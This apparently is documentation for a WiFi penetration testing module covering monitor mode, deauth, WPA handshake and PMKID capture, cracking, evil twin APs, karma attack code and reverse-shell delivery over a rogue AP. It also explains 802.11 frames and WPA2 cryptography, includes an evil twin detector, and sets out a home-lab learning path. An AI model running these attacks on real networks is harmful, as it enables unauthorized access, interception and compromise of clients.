- ▸ WiFi adapter supporting monitor mode (e.g. Alfa AWUS036ACH)
- ▸
aircrack-ngsuite:pacman -S aircrack-ng - ▸ Check adapter:
iw list | grep monitor
set interface wlan0 set operation scan run
- • Easy: scan, beacon_sniff, client_list
- • Medium: handshake_cap, deauth, pmkid_attack
- • Advanced: evil_twin, enterprise_bypass, wpa3_probe
Overview
What wifi_monitor does
wifi_monitor is VANTA's WiFi penetration testing module. It wraps aircrack-ng, wifite, hostapd, and dnsmasq into a unified interface covering the full WiFi attack chain: monitor mode management, packet injection testing, network scanning, handshake capture, WEP/WPA/WPA2 cracking, WPS attacks, PMKID extraction, evil twin AP, MitM, and payload delivery over WiFi. For LAN-side work, it also includes an async host discovery and port scanning component.
All operations read JSON from stdin and return structured JSON to stdout. Requires root and a WiFi adapter that supports monitor mode and packet injection (e.g. Alfa AWUS036ACH, RTL8812AU chipset).
set mode check_tools first to verify your environment.
Quick Start
Running wifi_monitor
wifi_monitor reads JSON from stdin. The target field is the interface name (e.g. wlan0) for most modes, or a subnet CIDR for LAN scan modes.
# Step 1: verify tools and adapter
sudo VANTA
vanta ❯ use wifi_monitor
VANTA (wifi_monitor) ❯ set mode check_tools
VANTA (wifi_monitor) ❯ run wlan0
# Step 2: enable monitor mode
VANTA (wifi_monitor) ❯ set mode monitor_on
VANTA (wifi_monitor) ❯ run wlan0
# Step 3: scan for APs
VANTA (wifi_monitor) ❯ set mode wifi_scan
VANTA (wifi_monitor) ❯ set duration 15
VANTA (wifi_monitor) ❯ run wlan0
# Step 4: capture WPA handshake (auto-deauth)
VANTA (wifi_monitor) ❯ set mode capture
VANTA (wifi_monitor) ❯ set bssid AA:BB:CC:DD:EE:FF
VANTA (wifi_monitor) ❯ set channel 6
VANTA (wifi_monitor) ❯ run wlan0
# Step 5: crack it
VANTA (wifi_monitor) ❯ set mode crack
VANTA (wifi_monitor) ❯ set capture_file /tmp/capture-01.cap
VANTA (wifi_monitor) ❯ set wordlist /usr/share/wordlists/rockyou.txt
VANTA (wifi_monitor) ❯ run wlan0
# Or run the full auto pipeline
VANTA (wifi_monitor) ❯ set mode auto
VANTA (wifi_monitor) ❯ set wordlist /usr/share/wordlists/rockyou.txt
VANTA (wifi_monitor) ❯ run wlan0
Reference
Modes
Set via set mode <name>. Default is scan.
Setup
airmon-ng start. Returns the monitor interface name (e.g. wlan0mon).airmon-ng stop.aireplay-ng --test. Confirms the adapter can send 802.11 frames.Discovery
Handshake & capture
FF:FF:FF:FF:FF:FF) on a target AP. Forces client reconnect to trigger handshake capture.capture_file, optionally bssid and essid to filter..hc22000 file.Cracking
capture_file, wordlist, and optionally bssid/essid..cap file using a known WPA key or WEP key via airdecap-ng. Outputs decrypted packets in a new pcap.stats, import_wordlist, batch (compute PMKs). Speeds up WPA cracking for a fixed ESSID.WEP attacks
arp_replay) or chopchop. Captures IVs with aireplay-ng, cracks with aircrack-ng once enough IVs are collected.--arpreplay. Set BSSID, destination MAC, source MAC, and repeat count.WPS attacks
pixiedust=true) and manual PIN entry. Returns WPA passphrase on success.Advanced attacks
Automation & delivery
revshell module and start a listener. With deliver_via_evil_twin=true, serves the payload over an evil twin AP HTTP server.Parameters
All parameters go in the params object of the JSON stdin input alongside mode.
| Parameter | Type | Default | Used by |
|---|---|---|---|
mode | string | scan | All modes |
iface | string | "" | All WiFi modes (target or iface) |
bssid | string | "" | deauth, capture, crack, pmkid, wps_attack, mitm |
essid | string | "" | capture, crack, evil_twin, shell |
channel | string | "" | deauth, capture, wifi_scan, evil_twin, wps_attack, shell |
duration | integer | 60 | wifi_scan, capture, pmkid, mitm, evil_twin, wps_attack, shell |
wordlist | string | "" | crack, auto_crack, auto |
capture_file | string | "" | crack, auto_crack, handshake_check, decrypt |
out_dir | string | "" | capture, pmkid, wep_attack, decrypt |
deauth | boolean | true | capture — whether to send deauth frames |
deauth_count | integer | 10 | deauth, capture |
client_mac | string | FF:FF:FF:FF:FF:FF | deauth, capture, wep_attack |
pixiedust | boolean | true | wps_attack — try Pixie-Dust first |
use_hashcat | boolean | false | crack — use hashcat instead of aircrack-ng |
captive_portal | boolean | false | evil_twin — enable captive portal |
victim | string | "" | mitm — victim IP |
gateway | string | "" | mitm — gateway IP |
lhost | string | auto | shell |
lport | integer | 4444 | shell |
deliver_via_evil_twin | boolean | false | shell — serve payload over rogue AP |
Examples
Examples
Check environment and enable monitor mode
echo '{"target": "wlan0", "params": {"mode": "check_tools"}}' | sudo python3 wifi_monitor.py | jq .data
echo '{"target": "wlan0", "params": {"mode": "monitor_on"}}' | sudo python3 wifi_monitor.py | jq .data.monitor_iface
Scan for APs and capture WPA handshake
# Scan (use wlan0mon after monitor_on)
echo '{"target": "wlan0mon", "params": {"mode": "wifi_scan", "duration": 20}}' \
| sudo python3 wifi_monitor.py | jq '.data.networks[]'
# Capture handshake — auto-deauths clients to trigger
echo '{
"target": "wlan0mon",
"params": {
"mode": "capture",
"bssid": "AA:BB:CC:DD:EE:FF",
"channel": "6",
"out_dir": "/tmp/captures",
"duration": 120
}
}' | sudo python3 wifi_monitor.py | jq '.data'
Crack WPA handshake
echo '{
"target": "wlan0mon",
"params": {
"mode": "crack",
"capture_file": "/tmp/captures/capture-01.cap",
"wordlist": "/usr/share/wordlists/rockyou.txt",
"bssid": "AA:BB:CC:DD:EE:FF"
}
}' | python3 wifi_monitor.py | jq '.data.key'
PMKID attack (no client needed)
echo '{
"target": "wlan0mon",
"params": {
"mode": "pmkid",
"bssid": "AA:BB:CC:DD:EE:FF",
"out_dir": "/tmp/captures",
"duration": 60
}
}' | sudo python3 wifi_monitor.py
# Then crack the .hc22000 file
echo '{
"target": "wlan0mon",
"params": {
"mode": "crack",
"capture_file": "/tmp/captures/pmkid-AA_BB_CC_DD_EE_FF.hc22000",
"wordlist": "/usr/share/wordlists/rockyou.txt",
"use_hashcat": true
}
}' | python3 wifi_monitor.py | jq '.data.key'
Evil twin AP
echo '{
"target": "wlan0",
"params": {
"mode": "evil_twin",
"essid": "CoffeeShop_Free",
"channel": "6",
"duration": 300,
"captive_portal": true,
"captive_port": 8080
}
}' | sudo python3 wifi_monitor.py | jq '.data'
Full auto pipeline
echo '{
"target": "wlan0mon",
"params": {
"mode": "auto",
"wordlist": "/usr/share/wordlists/rockyou.txt",
"scan_duration": 20,
"attack_timeout": 120
}
}' | sudo python3 wifi_monitor.py | jq '.data'
Requirements
Requirements
Most WiFi attack modes require root and a compatible adapter. Run check_tools first to see which binaries are present.
| Dependency | Install | Used by |
|---|---|---|
| aircrack-ng suite | sudo apt install aircrack-ng | monitor_on/off, inject_test, wifi_scan, capture, deauth, crack, wep_attack |
| hcxtools / hcxdumptool | sudo apt install hcxtools hcxdumptool | pmkid, auto_crack |
| hostapd | sudo apt install hostapd | evil_twin |
| dnsmasq | sudo apt install dnsmasq | evil_twin (DHCP server) |
| reaver / bully | sudo apt install reaver | wps_attack |
| scapy | pip3 install scapy | scan, discover (LAN ARP discovery) |
| hashcat | sudo apt install hashcat | crack (optional, GPU acceleration) |
# Install all system deps (Debian/Ubuntu)
sudo apt install aircrack-ng hcxtools hcxdumptool hostapd dnsmasq reaver hashcat
# Python deps
pip3 install scapy
# Or via install.sh
./install.sh
Internals
Architecture Deep Dive
This chapter explains the 802.11 frame structure at the byte level, how WPA2 authentication works cryptographically, what a PMKID capture actually contains, and how to extend wifi_monitor with your own detection and attack logic.
Internals
802.11 Frame Structure — Byte by Byte
Every WiFi packet is a MAC Protocol Data Unit (MPDU) with a fixed-layout header. Understanding the header lets you write custom packet filters, detect hidden SSIDs, and identify management frame spoofing.
## 802.11 Frame Header — minimum 24 bytes (most management/data frames)
Offset Size Field Meaning
────── ──── ──────────── ────────────────────────────────────────────
0x00 2 Frame Control Describes the frame type and subtype
0x02 2 Duration/ID NAV (network allocation vector) or AID
0x04 6 Addr1 Destination (receiver) MAC
0x0A 6 Addr2 Source (transmitter) MAC
0x10 6 Addr3 BSSID (AP MAC) or 3rd address for WDS
0x16 2 Seq/Frag Sequence number (12 bits) + fragment (4 bits)
[0x18 6 Addr4] Only present in WDS/4-addr frames
[varies QoS Control] 2 bytes added for QoS data frames (802.11e)
[varies HT Control] 4 bytes added for HT frames (802.11n+)
## Frame Control field breakdown (2 bytes)
Bit(s) Size Field Values
────── ──── ────────── ────────────────────────────────────────────
0-1 2 Protocol Always 00 (version 0)
2-3 2 Type 00=Management, 01=Control, 10=Data
4-7 4 Subtype Depends on Type:
Management: 0000=AssocReq 0001=AssocResp
0100=ProbeReq 0101=ProbeResp
1000=Beacon 1011=Auth
1100=Deauth
Data: 0000=Data 0100=Null
8 1 To DS Frame going to distribution system (AP→wire)
9 1 From DS Frame from distribution system
10 1 More Frag More fragments follow
11 1 Retry This is a retransmission
12 1 Pwr Mgmt Sender entering power-save mode
13 1 More Data More buffered frames for sleeping station
14 1 Protected Frame body is encrypted (WEP/TKIP/CCMP)
15 1 Order Strict ordering required
Beacon Frame — Decoded
## Beacon frame — sent by AP every ~100ms to announce network presence
## Frame Control: 0x80 0x00 = management (type 0), beacon (subtype 8)
Frame Control: 80 00
Duration: 00 00 (not used in beacons)
Addr1 (dst): FF FF FF FF FF FF broadcast — everyone receives this
Addr2 (src): AA BB CC DD EE FF AP's MAC address (BSSID)
Addr3 (BSSID): AA BB CC DD EE FF same as Addr2 for AP beacons
Seq/Frag: XX XX increments per frame
## Fixed fields in beacon body (12 bytes):
Timestamp: XX XX XX XX XX XX XX XX microseconds since AP boot
Beacon Interval: 64 00 = 0x0064 = 100 TUs (≈102.4ms)
Capability Info: XX XX bit flags for QoS, privacy, etc.
## Tagged Parameters (variable length, TLV-like):
Tag 0: SSID element
ID=00, Len=<ssid_len>, SSID bytes ← "MyNetwork" in ASCII
Hidden SSID: Len=00 (empty) or Len=<real_len> with null bytes
Tag 1: Supported Rates
ID=01, Len=08, rates: 82 84 8B 96 0C 12 18 24
# 0x82=1Mbps, 0x84=2Mbps, 0x8B=5.5Mbps, 0x96=11Mbps (bit7 set = basic rate)
Tag 3: DS Parameter (channel)
ID=03, Len=01, Channel=06 ← this AP is on channel 6
Tag 48: RSN (Robust Security Network) = WPA2 info
ID=30, Len=XX
RSN Version: 01 00
Group Cipher: 00 0F AC 04 ← 00:0F:AC = IEEE OUI, 04 = CCMP (AES)
Pairwise Count: 01 00
Pairwise Cipher: 00 0F AC 04 ← CCMP
AKM Count: 01 00
AKM Suite: 00 0F AC 02 ← PSK (WPA2-Personal)
RSN Capabilities: 00 00
Deauthentication Frame — Byte Layout
## Deauth frame — wifi_monitor sends this for client disconnection
Frame Control: C0 00 # 0xC0 = management(00) + deauth(1100=12)
Duration: 3A 01
Addr1 (victim): <client MAC> ← target client to disconnect
Addr2 (spoof): <AP MAC> ← spoofed as the AP
Addr3 (BSSID): <AP MAC>
Seq/Frag: XX XX
## Reason Code (2 bytes) — follows the header:
07 00 ← 0x0007 = "Class 3 frame received from nonassociated STA"
(most common reason code for deauth injection)
Other common reason codes:
01 00 = Unspecified
02 00 = Previous auth no longer valid
03 00 = Deauthenticated because STA left
06 00 = Class 2 frame received from nonauthenticated STA
## Note: Management Frame Protection (802.11w / PMF) cryptographically
## signs deauth frames. wifi_monitor checks if PMF is enabled (RSN Cap bit 6)
## before attempting deauth injection — spoofed deauth won't work against PMF APs.
Internals
WPA2 4-Way Handshake — Cryptographic Deep Dive
The WPA2 4-way handshake establishes session keys between a client and AP. The critical fact for WiFi cracking: the handshake contains enough data to verify a password guess offline, without communicating with the AP. This is what wifi_monitor captures and passes to hashcat.
## WPA2-PSK Key Derivation Chain
Step 1: PMK (Pairwise Master Key) — from password
PMK = PBKDF2(HMAC-SHA1, password, SSID, 4096_iterations, 32_bytes)
# 4096 SHA-1 iterations is why dictionary attacks are slow (≈1000 PMK/sec/CPU)
# hashcat uses GPU to compute millions PMK/sec (RTX 4090: ~600k PMK/sec)
Step 2: PTK (Pairwise Transient Key) — from PMK + nonces
PTK = PRF-512(PMK,
"Pairwise key expansion",
min(APmac, Cmac) || max(APmac, Cmac) || min(ANonce, SNonce) || max(ANonce, SNonce))
# PTK is 512 bits, split into:
PTK = KCK (128 bits) || KEK (128 bits) || TK (128 bits) || MIC key
KCK = Key Confirmation Key (first 128 bits) ← used to compute MIC
KEK = Key Encryption Key (next 128 bits) ← encrypts GTK
TK = Temporal Key (last 256 bits) ← encrypts data frames
The 4 EAPOL Frames
## EAPOL (EAP over LAN) Key frames carry the handshake
M1: AP → Client
AP generates ANonce (32 random bytes)
Sends: ANonce, Replay Counter=1, Key Info=0x008A (ACK | Pairwise | Enc)
# At this point: client knows ANonce, generates SNonce
M2: Client → AP
Client computes PTK (now has ANonce + SNonce + both MACs + PMK)
Sends: SNonce, MIC (HMAC-SHA1 of M2 using KCK), Replay Counter=1
# MIC = HMAC-SHA1(KCK, EAPOL_frame_with_zeroed_MIC_field)
# THIS IS WHAT ATTACKERS CAPTURE — SNonce + MIC allows offline password testing:
# Guess password → compute PMK → compute PTK → compute KCK → compute MIC → compare
M3: AP → Client
AP verifies M2's MIC (confirms client knows PMK)
Sends: ANonce, MIC, Encrypted GTK (Group Temporal Key for broadcast traffic)
Sets Install flag, key_info=0x13CA
M4: Client → AP
Client sends ACK: empty MIC field, Replay Counter=2
Both sides now install PTK — encrypted data exchange begins
## What wifi_monitor captures in a .cap file:
# Beacon (SSID + BSSID) ← needed for PMK computation
# M1 (ANonce) ← needed for PTK computation
# M2 (SNonce + MIC) ← needed to verify password guess
# That's all hashcat needs — M3 and M4 are not required
PMKID Attack — No Handshake Needed
## PMKID (discovered by Jens Steube in 2018) — captures from a single M1 frame
PMKID = HMAC-SHA1-128(PMK, "PMK Name" || BSSID || client_MAC)
## The AP includes PMKID in M1 for roaming (802.11r fast transition)
## Offline attack: guess password → PMK → PMKID → compare with captured PMKID
## Advantage: you don't need any client to be connected — just send M1 to the AP
## hashcat mode 22000 (modern, accepts both WPA2 handshake and PMKID):
hashcat -m 22000 capture.hc22000 rockyou.txt --force
## hcxdumptool captures in pcapng format; hcxtools converts:
hcxdumptool -o capture.pcapng -i wlan0mon --enable_status=1
hcxtools -o capture.hc22000 capture.pcapng
hashcat -m 22000 capture.hc22000 wordlist.txt
Extend
Customization & Extension
Writing a Custom Packet Processor
# wifi_monitor.py uses scapy for packet processing
# Add a custom handler to detect specific management frames:
from scapy.all import *
def detect_evil_twin(pkt):
"""Detect duplicate SSIDs with different BSSIDs (potential evil twin)."""
if not pkt.haslayer(Dot11Beacon):
return
ssid = pkt[Dot11Elt].info.decode(errors="replace")
bssid = pkt[Dot11].addr3
known = SEEN_SSIDS.setdefault(ssid, set())
known.add(bssid)
if len(known) > 1:
wifi_monitor.log(f"[!] EVIL TWIN detected: SSID '{ssid}' seen from {len(known)} BSSIDs")
wifi_monitor.log(f" BSSIDs: {', '.join(known)}")
wifi_monitor.findings.append({
"type": "evil_twin",
"ssid": ssid,
"bssids": list(known),
"severity": "HIGH",
})
SEEN_SSIDS = {}
# Register in wifi_monitor.py PACKET_HANDLERS:
PACKET_HANDLERS = {
"evil_twin": detect_evil_twin,
# ... existing handlers ...
}
# Sniff with your handler:
sniff(iface="wlan0mon", prn=detect_evil_twin, store=False)
Adding a New Attack Mode
# Add a karma attack mode (respond to any probe request)
# Karma: host spoof — respond to ALL probe requests as if we are the target AP
from scapy.all import *
from scapy.layers.dot11 import Dot11, Dot11ProbeReq, Dot11ProbeResp, Dot11Elt
def karma_mode(iface: str, our_mac: str):
"""Respond to every probe request as the probed SSID."""
def handle_probe(pkt):
if not pkt.haslayer(Dot11ProbeReq):
return
ssid = pkt[Dot11Elt].info.decode(errors="replace") if pkt[Dot11Elt].info else ""
if not ssid:
return
client = pkt[Dot11].addr2
resp = (RadioTap() /
Dot11(type=0, subtype=5, addr1=client, addr2=our_mac, addr3=our_mac) /
Dot11ProbeResp(timestamp=0, beacon_interval=100, cap="ESS") /
Dot11Elt(ID="SSID", info=ssid.encode()) /
Dot11Elt(ID="Rates", info=b"\x82\x84\x8b\x96\x24\x30\x48\x6c") /
Dot11Elt(ID="DSset", info=b"\x01")) # channel 1
sendp(resp, iface=iface, verbose=False)
print(f"[karma] Responded to probe for '{ssid}' from {client}")
sniff(iface=iface, prn=handle_probe, store=False)
Study
Learning Path & Resources
WiFi security combines radio physics, cryptography, and network protocols. Build knowledge layer by layer.
Step 1: Wireless Networking Basics
| Resource | Type | Why |
|---|---|---|
| Professor Messer — CompTIA Network+ Wireless (YouTube) | Free | Explains 802.11 standards (a/b/g/n/ac/ax), channels, SSID, BSSID, signal strength — the vocabulary of wireless security. |
| 802.11 Standard basics (Wikipedia) | Free | Read the frame types section — understand management vs control vs data frames before looking at wifi_monitor's packet captures. |
| CWNA Study Guide (Coleman & Westcott) | Book | Certified Wireless Network Admin — comprehensive 802.11 reference. Chapter on security covers WPA2 in depth at the exact level needed for wifi_monitor. |
Step 2: Understand the Attacks
| Resource | Focus |
|---|---|
| aircrack-ng wiki (aircrack-ng.org/documentation.html) | The tools wifi_monitor wraps. Read the "Getting Started" and "Breaking WPA" tutorials — run them manually first, then use wifi_monitor to automate. |
| PMKID paper by Jens Steube (in1.hashcat.net/events/p17-lh2018-new_single-sided_attacks.pdf) | The original 2018 research paper describing PMKID attacks. Explains the math behind why capturing a single M1 frame is enough to crack a password offline. |
| hashcat documentation (hashcat.net/wiki) | Understand hash modes, attack modes (dictionary, rule-based, mask), and GPU acceleration. wifi_monitor passes captures to hashcat — knowing the tool lets you tune the crack. |
Step 3: Practice Labs
| Platform / Setup | Cost | Focus |
|---|---|---|
| TryHackMe — "Wifi Hacking 101" room | Free | Guided WPA2 capture and crack using aircrack-ng. Run wifi_monitor alongside to see how it automates the same steps. |
| WiFi-Pumpkin (github.com/P0cL4bs/wifipumpkin3) | Free | Evil twin and captive portal framework. Complements wifi_monitor's evil_twin mode — study the source to understand captive portal mechanics. |
| Your own home network + a test device | Free | Legally capture your own WPA2 4-way handshake. Run hashcat with rockyou.txt against it. If your password is in rockyou.txt, change it. |
| TP-Link TL-WN722N (USB WiFi adapter) | ~$15 | Best beginner adapter for packet injection and monitor mode. Plug into Kali VM, run: airmon-ng start wlan0 to enter monitor mode. |
Step 4: Deep Reference
| Resource | Use For |
|---|---|
| Offensive Security — Wireless Attacks (offsec.com) | Chapter from PWK (PEN-200) course covering wireless attack techniques. The methodology VANTA implements. |
| Wireshark 802.11 decode filters | Use wlan.fc.type_subtype == 0x08 to filter beacons, eapol to filter handshake frames. Run Wireshark alongside wifi_monitor to inspect every captured frame. |
| Scapy documentation (scapy.net) | wifi_monitor uses scapy internally. Learn scapy to write custom packet processors (see customization guide above). |
| hashcat rule-based attack documentation | When rockyou.txt fails, rules transform wordlist entries into password candidates. Study OneRuleToRuleThemAll for maximum coverage. |
Practice Path
## Progression: from monitoring to cracking to evil twin
Week 1: Monitor Mode and Packet Capture
Setup: Kali VM + USB WiFi adapter (TP-Link TL-WN722N)
Run: wifi_monitor in monitor mode against your home network
Learn: read every beacon — understand SSID, BSSID, channel, signal
Week 2: Handshake Capture and Crack
Run: wifi_monitor capture mode on your own WPA2 network
Trigger: connect a device to force a handshake
Crack: pass the .cap to hashcat with rockyou.txt
Read: the PMKID paper — understand why this works
Week 3: Evil Twin
Create: a second SSID matching your real router
Run: wifi_monitor evil_twin mode
Observe: which devices connect? Do they warn the user?
Study: how HSTS and certificate pinning protect against MITM
Week 4: Custom Detection Scripts
Write: a scapy script that detects deauth floods in your lab
Integrate: into wifi_monitor using the customization guide above
Goal: your detector catches wifi_monitor's own deauth attacks